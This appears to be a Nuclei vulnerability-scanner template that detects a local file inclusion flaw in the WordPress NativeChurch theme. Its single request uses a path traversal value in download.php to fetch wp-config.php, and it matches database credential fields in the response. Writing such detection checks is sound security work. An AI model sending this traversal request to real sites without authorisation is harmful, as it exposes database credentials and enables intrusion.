id: nativechurch-wp-theme-lfd

info:
  name: WordPress NativeChurch Theme - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    WordPress NativeChurch Theme is vulnerable to local file inclusion in the download.php file.
  reference:
    - https://packetstormsecurity.com/files/132297/WordPress-NativeChurch-Theme-1.0-1.5-Arbitrary-File-Download.html
    - https://wpscan.com/vulnerability/2e1062ed-0c48-473f-aab2-20ac9d4c72b1
  metadata:
    max-request: 1
  tags: wp-theme,lfi,wp,packetstorm,wpscan,wordpress

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/themes/NativeChurch/download/download.php?file=../../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_HOST"
          - "The base configurations of the WordPress"
        condition: and
# digest: 4b0a00483046022100f954d37a2311b37006450fab701a2eba3de1e1b8756e3a56b9445376be11e5bf022100c2b4e84e0ef1381af44a61a12397edd5bf393ef5a3813b86668951a0105e63b8:922c64590222798bb761d5b6d8e72950